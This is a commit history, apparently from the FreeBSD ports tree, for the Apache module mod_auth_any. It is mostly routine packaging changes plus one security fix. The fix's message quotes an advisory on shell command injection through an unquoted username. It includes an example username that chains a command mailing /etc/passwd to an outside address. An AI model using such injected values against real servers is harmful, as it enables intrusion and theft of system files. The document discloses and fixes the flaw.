Commit graph

6 commits

Author SHA1 Message Date
Mario Sergio Fujikawa Ferreira
0025bdf0b2 o Fix vulnerability that allows execution of arbitrary commands on
the server with the uid of the apache process. Background [1]:

"The module accepts a username and password from the web client,
passes them to a user-space executable (using popen(3), which invokes
a shell) and waits for a response in order to authenticate the user.
The password is quoted on the popen() command line to avoid
interpretation of shell special chars, but the username is not.
Thus a malicious user can execute commands by supplying an appropriately
crafted username. (e.g. "foo&mail me@my.home</etc/passwd")

"The problem is easily fixed by adding quotes (and escaping any
quotes already present) to the username and password in the popen
command line."

o Fix this by adding a escaping function from [2]. Then, modifying
  this function appropriately with ideas from [3]. Apply the new
  escaping code to mod_auth_any.
o Bump PORTREVISION

Submitted by:	Security Officer (nectar),
		Red Hat Security Response Team <security@redhat.com> [1]
Obtained from:	mod_auth_any CVS [2],
		nalin@redhat.com [3]
2003-03-25 04:23:11 +00:00
Akinori MUSHA
cb07270bfe De-pkg-comment. 2003-02-20 19:21:36 +00:00
Mario Sergio Fujikawa Ferreira
f0a1969d34 o Rollback PORTCOMMENT modifications while this feature's implementation
is better studied
o Turn PORTCOMMENT variable in Makefile back into pkg-comment files

Approved by:	kris (portmgr hat),
		portmgr, re (silence)
2002-11-10 16:48:51 +00:00
Adam Weinberger
d9611f9375 Use PORTCOMMENT in the Makefile, and whack the pkg-comment.
Approved by:	pat
2002-11-06 22:47:41 +00:00
Dirk Meyer
e9bd637dd0 support appache13-modssl by defining APACHE_PORT in /etc/make.conf
others variants of the apache ports can be used too.
2002-09-09 18:30:10 +00:00
Will Andrews
6275296776 Add mod_auth_any 1.0.2, an apache module to use any command line
program to authenticate a user.
2001-04-10 22:28:40 +00:00